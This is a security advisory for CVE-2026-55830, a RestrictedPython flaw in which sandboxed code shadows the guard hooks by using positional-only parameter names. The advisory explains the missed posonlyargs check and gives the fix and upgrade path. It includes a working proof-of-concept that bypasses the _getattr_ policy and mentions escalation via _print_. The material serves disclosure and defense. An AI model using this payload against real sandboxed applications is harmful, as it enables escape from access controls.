CVE-2026-55830: RestrictedPython Guard Hook Shadow via Positional-Only Arguments
Sandboxed code in RestrictedPython can replace the library's own security hooks by naming a positional-only function parameter after them, making every attribute or item access bypass the policy the…

The problem
RestrictedPython rewrites attribute reads, item reads, writes, and print calls to go through guard hooks (_getattr_, _getitem_, _write_, _print_). The embedding application supplies these hooks to enforce its access policy.
The name-validation logic in check_function_argument_names() blocked protected names in regular args, *args, **kwargs, and keyword-only args, but it never checked positional-only args (those before the / separator). Untrusted code could therefore declare a function like def f(_getattr_=evil, /): ... and the rewritten attribute access inside that function would call the attacker-supplied local instead of the policy hook.
Shadowing _print_ can also expose the internal _getattr_ reference RestrictedPython passes in, enabling further escalation.
Proof of concept
A working proof-of-concept for CVE-2026-55830 in RestrictedPython, with the exact payload below.
from RestrictedPython import compile_restricted
from RestrictedPython.Guards import safe_globals, safer_getattr
calls = []
def policy_getattr(obj, name, default=None):
calls.append(name)
return safer_getattr(obj, name, default)
src = """
def f(o, _getattr_=lambda obj, name: "shadowed", /):
return o.x
"""
code = compile_restricted(src, "<s>", "exec") # compiles without error on <= 8.2
g = dict(safe_globals)
g["_getattr_"] = policy_getattr
exec(code, g)
class O:
x = "secret"
print(g["f"](O())) # prints: shadowed (attacker lambda used, not policy hook)
print(calls) # prints: [] (real guard never called)Python's positional-only parameter syntax (def f(a, b, /):) was introduced in 3.8. The AST node for function arguments stores these in args.posonlyargs, a separate list from args.args. The pre-patch check_function_argument_names() iterated over args, vararg, kwonlyargs, and kwarg, but not posonlyargs.
The fix (commit 3737596ec9f28c34a073cc845bd2f4c0a80cb671) adds posonlyargs to that iteration, so any positional-only parameter whose name matches the protected-name pattern is now rejected at compile time with a SyntaxError. CWE-184 (Incomplete List of Disallowed Inputs) is the precise root cause: the denylist was complete for four argument kinds but missed a fifth.
The fix
Upgrade to RestrictedPython 8.3 or later. The patch adds posonlyargs to the argument-name validation loop so compile_restricted raises a SyntaxError for any function or lambda that uses a protected guard-hook name as a positional-only parameter. No workaround exists short of upgrading; if an immediate upgrade is impossible, pre-screen submitted source code and reject any function or lambda definition that contains positional-only parameters (i.e., a / in the argument list) before passing it to compile_restricted.
Reported by dataflake.
Related research
- high · 7.5GitPython: OS Command Injection via --template in clone_from
- high · 8.8GitPython: OS Command Injection via git long-option prefix abbreviation bypass
- high · 8.2CVE-2026-49825CVE-2026-49825: lxml_html_clean javascript: XSS via xlink:href
- critical · 9.1CVE-2026-55247CVE-2026-55247: plone.app.event iCalendar Import DoS, SSRF, and Stored XSS